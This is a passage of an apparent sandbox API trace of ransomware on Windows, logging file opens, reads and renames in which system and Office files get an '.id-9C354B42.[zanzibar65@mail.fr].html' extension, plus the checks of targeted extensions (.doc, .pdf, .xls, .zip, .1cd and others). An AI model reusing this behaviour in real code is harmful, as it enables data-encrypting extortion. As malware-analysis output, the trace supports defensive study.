office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.384] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.384] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0061.385] GetLastError () returned 0x0 [0061.385] ReadFile (hFile=0x164, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0) Thread: id = 10 os_tid = 0x960 [0032.741] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x2c0538 [0032.741] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x2d0540 [0032.741] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2702a8 [0032.742] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x25a390 [0032.742] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2702c0 [0032.742] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x3610020 [0032.742] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2702d8 [0032.742] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2702d8, Size=0x20) returned 0x255cd0 [0032.742] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2702d8 [0032.742] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2702d8, Size=0x20) returned 0x255cf8 [0032.742] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.742] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.742] Wow64DisableWow64FsRedirection (in: OldValue=0x2afff58 | out: OldValue=0x2afff58*=0x0) returned 1 [0032.742] lstrlenW (lpString="kernel32.dll") returned 12 [0032.742] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cd0 | out: hHeap=0x220000) returned 1 [0032.742] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.742] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cf8 | out: hHeap=0x220000) returned 1 [0032.743] Sleep (dwMilliseconds=0x64) [0032.931] Sleep (dwMilliseconds=0x64) [0033.194] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1 [0033.194] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0033.194] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0033.243] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=1984228) returned 1 [0033.243] CloseHandle (hObject=0x168) returned 1 [0033.243] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0033.243] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.243] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0033.243] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.243] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.243] lstrlenW (lpString=".doc") returned 4 [0033.243] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0033.243] lstrlenW (lpString=".docx") returned 5 [0033.243] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0033.243] lstrlenW (lpString=".pdf") returned 4 [0033.243] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0033.243] lstrlenW (lpString=".xls") returned 4 [0033.243] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0033.243] lstrlenW (lpString=".xlsx") returned 5 [0033.244] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0033.244] lstrlenW (lpString=".ppt") returned 4 [0033.244] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0033.244] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.244] lstrlenW (lpString=".zip") returned 4 [0033.244] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0033.244] lstrlenW (lpString=".rar") returned 4 [0033.244] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0033.244] lstrlenW (lpString=".bz2") returned 4 [0033.244] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0033.244] lstrlenW (lpString=".7z") returned 3 [0033.244] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0033.244] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.244] lstrlenW (lpString=".dbf") returned 4 [0033.244] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0033.244] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.244] lstrlenW (lpString=".1cd") returned 4 [0033.244] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0033.244] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.244] lstrlenW (lpString=".jpg") returned 4 [0033.244] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0033.244] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.244] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.244] lstrlenW (lpString=".doc") returned 4 [0033.244] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0033.244] lstrlenW (lpString=".docx") returned 5 [0033.244] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0033.244] lstrlenW (lpString=".pdf") returned 4 [0033.244] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0033.244] lstrlenW (lpString=".xls") returned 4 [0033.244] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0033.244] lstrlenW (lpString=".xlsx") returned 5 [0033.245] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0033.245] lstrlenW (lpString=".ppt") returned 4 [0033.245] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0033.245] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.245] lstrlenW (lpString=".zip") returned 4 [0033.245] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0033.245] lstrlenW (lpString=".rar") returned 4 [0033.245] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0033.245] lstrlenW (lpString=".bz2") returned 4 [0033.245] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0033.245] lstrlenW (lpString=".7z") returned 3 [0033.245] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0033.245] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.245] lstrlenW (lpString=".dbf") returned 4 [0033.245] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0033.245] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.245] lstrlenW (lpString=".1cd") returned 4 [0033.245] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0033.245] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.245] lstrlenW (lpString=".jpg") returned 4 [0033.245] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0033.245] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.245] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.245] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0033.246] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=88144) returned 1 [0033.246] CloseHandle (hObject=0x168) returned 1 [0033.246] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0033.246] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.246] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.246] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.246] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.246] lstrlenW (lpString=".doc") returned 4 [0033.246] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.246] lstrlenW (lpString=".docx") returned 5 [0033.246] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.246] lstrlenW (lpString=".pdf") returned 4 [0033.246] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.246] lstrlenW (lpString=".xls") returned 4 [0033.246] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.246] lstrlenW (lpString=".xlsx") returned 5 [0033.246] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.246] lstrlenW (lpString=".ppt") returned 4 [0033.246] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.246] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.246] lstrlenW (lpString=".zip") returned 4 [0033.246] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.246] lstrlenW (lpString=".rar") returned 4 [0033.246] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.246] lstrlenW (lpString=".bz2") returned 4 [0033.246] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.246] lstrlenW (lpString=".7z") returned 3 [0033.246] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.246] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.246] lstrlenW (lpString=".dbf") returned 4 [0033.247] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.247] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.247] lstrlenW (lpString=".1cd") returned 4 [0033.247] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.247] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.247] lstrlenW (lpString=".jpg") returned 4 [0033.247] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.247] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.247] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.247] lstrlenW (lpString=".doc") returned 4 [0033.247] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.247] lstrlenW (lpString=".docx") returned 5 [0033.247] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.247] lstrlenW (lpString=".pdf") returned 4 [0033.247] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.247] lstrlenW (lpString=".xls") returned 4 [0033.247] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.247] lstrlenW (lpString=".xlsx") returned 5 [0033.247] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.247] lstrlenW (lpString=".ppt") returned 4 [0033.247] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.247] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.247] lstrlenW (lpString=".zip") returned 4 [0033.247] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.247] lstrlenW (lpString=".rar") returned 4 [0033.247] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.247] lstrlenW (lpString=".bz2") returned 4 [0033.247] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.247] lstrlenW (lpString=".7z") returned 3 [0033.247] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.247] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.247] lstrlenW (lpString=".dbf") returned 4 [0033.247] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.248] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.248] lstrlenW (lpString=".1cd") returned 4 [0033.248] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.248] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0033.248] lstrlenW (lpString=".jpg") returned 4 [0033.248] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.248] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.248] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.248] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0033.248] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=90704) returned 1 [0033.248] CloseHandle (hObject=0x168) returned 1 [0033.248] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0033.248] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.248] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.248] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.248] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.248] lstrlenW (lpString=".doc") returned 4 [0033.248] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.249] lstrlenW (lpString=".docx") returned 5 [0033.249] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.249] lstrlenW (lpString=".pdf") returned 4 [0033.249] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.249] lstrlenW (lpString=".xls") returned 4 [0033.249] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.249] lstrlenW (lpString=".xlsx") returned 5 [0033.249] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.249] lstrlenW (lpString=".ppt") returned 4 [0033.249] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.249] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.249] lstrlenW (lpString=".zip") returned 4 [0033.249] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.249] lstrlenW (lpString=".rar") returned 4 [0033.249] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.249] lstrlenW (lpString=".bz2") returned 4 [0033.249] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.249] lstrlenW (lpString=".7z") returned 3 [0033.249] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.249] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.249] lstrlenW (lpString=".dbf") returned 4 [0033.249] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.249] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.249] lstrlenW (lpString=".1cd") returned 4 [0033.249] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.249] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.249] lstrlenW (lpString=".jpg") returned 4 [0033.249] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.249] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.249] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.249] lstrlenW (lpString=".doc") returned 4 [0033.249] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.249] lstrlenW (lpString=".docx") returned 5 [0033.249] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.249] lstrlenW (lpString=".pdf") returned 4 [0033.250] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.250] lstrlenW (lpString=".xls") returned 4 [0033.250] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.250] lstrlenW (lpString=".xlsx") returned 5 [0033.250] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.250] lstrlenW (lpString=".ppt") returned 4 [0033.250] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.250] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.250] lstrlenW (lpString=".zip") returned 4 [0033.250] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.250] lstrlenW (lpString=".rar") returned 4 [0033.250] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.250] lstrlenW (lpString=".bz2") returned 4 [0033.250] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.250] lstrlenW (lpString=".7z") returned 3 [0033.250] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.250] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.250] lstrlenW (lpString=".dbf") returned 4 [0033.250] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.250] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.250] lstrlenW (lpString=".1cd") returned 4 [0033.250] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.250] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0033.250] lstrlenW (lpString=".jpg") returned 4 [0033.250] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.250] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.250] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.250] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0033.251] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=90704) returned 1 [0033.251] CloseHandle (hObject=0x168) returned 1 [0033.251] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0033.251] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.251] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.251] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.251] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.251] lstrlenW (lpString=".doc") returned 4 [0033.251] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.251] lstrlenW (lpString=".docx") returned 5 [0033.251] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.251] lstrlenW (lpString=".pdf") returned 4 [0033.251] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.251] lstrlenW (lpString=".xls") returned 4 [0033.251] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.251] lstrlenW (lpString=".xlsx") returned 5 [0033.251] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.251] lstrlenW (lpString=".ppt") returned 4 [0033.251] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.251] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.251] lstrlenW (lpString=".zip") returned 4 [0033.251] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.251] lstrlenW (lpString=".rar") returned 4 [0033.251] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.251] lstrlenW (lpString=".bz2") returned 4 [0033.251] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.252] lstrlenW (lpString=".7z") returned 3 [0033.252] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.252] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.252] lstrlenW (lpString=".dbf") returned 4 [0033.252] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.252] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.252] lstrlenW (lpString=".1cd") returned 4 [0033.252] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.252] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.252] lstrlenW (lpString=".jpg") returned 4 [0033.252] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.252] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.252] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.252] lstrlenW (lpString=".doc") returned 4 [0033.252] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.252] lstrlenW (lpString=".docx") returned 5 [0033.252] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.252] lstrlenW (lpString=".pdf") returned 4 [0033.252] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.252] lstrlenW (lpString=".xls") returned 4 [0033.252] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.252] lstrlenW (lpString=".xlsx") returned 5 [0033.252] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.252] lstrlenW (lpString=".ppt") returned 4 [0033.252] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.252] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.252] lstrlenW (lpString=".zip") returned 4 [0033.252] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.252] lstrlenW (lpString=".rar") returned 4 [0033.252] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.252] lstrlenW (lpString=".bz2") returned 4 [0033.252] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.253] lstrlenW (lpString=".7z") returned 3 [0033.253] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.253] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.253] lstrlenW (lpString=".dbf") returned 4 [0033.253] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.253] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.253] lstrlenW (lpString=".1cd") returned 4 [0033.253] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.253] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0033.253] lstrlenW (lpString=".jpg") returned 4 [0033.253] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.253] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.253] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.253] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0033.253] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=90176) returned 1 [0033.253] CloseHandle (hObject=0x168) returned 1 [0033.253] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0033.253] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.253] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.254] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.254] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0033.254] lstrlenW (lpString=".doc") returned 4 [0033.254] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.254] lstrlenW (lpString=".docx") returned 5 [0033.254] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.254] lstrlenW (lpString=".pdf") returned 4 [0033.254] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 